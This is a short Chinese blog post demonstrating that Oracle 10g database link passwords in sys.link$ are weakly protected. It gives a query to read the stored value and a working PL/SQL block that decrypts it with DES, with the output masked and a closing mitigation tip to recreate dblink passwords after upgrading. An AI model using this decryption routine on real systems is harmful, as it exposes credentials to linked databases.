[20170607]10g dblink的密碼.txt

lfree發表於2017-06-07

[20170607]10g dblink的密碼.txt

--//10g下建立的dblink密碼非常容易破解.只要能訪問表sys.link$,做一個簡單的測試來說明,實際上這個問題在11.2.0.1之前都是存在
--//的.

1.環境:
SYS@orcl> @ &r/ver1
PORT_STRING                   |VERSION       |BANNER
------------------------------|--------------|----------------------------------------------------------------
x86_64/Linux 2.4.xx           |10.2.0.4.0    |Oracle Database 10g Enterprise Edition Release 10.2.0.4.0 - 64bi

2.破解dblink密碼:

SYS@orcl> select PASSWORDX c40 from sys.link$ where name='XXX';
C40
----------------------------------------
0582XXXXXXXX042490XXXX1C8E6819B9

set serveroutput on
declare
db_link_password varchar2(100);
begin
db_link_password := '&1';
dbms_output.put_line ('Password: ' || utl_raw.cast_to_varchar2 ( dbms_crypto.decrypt ( substr (db_link_password, 19) , dbms_crypto.DES_CBC_PKCS5 , substr (db_link_password, 3, 16) ) ) );
end;
/

--//設定到安全因素,我修改了顯示輸出,我在生產系統做了驗證都是正確的.
--//要注意是如果系統從11.2.0.1升級,要注意重建dblink的密碼,規避這個問題.

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/267265/viewspace-2140379/,如需轉載,請註明出處,否則將追究法律責任。

相關文章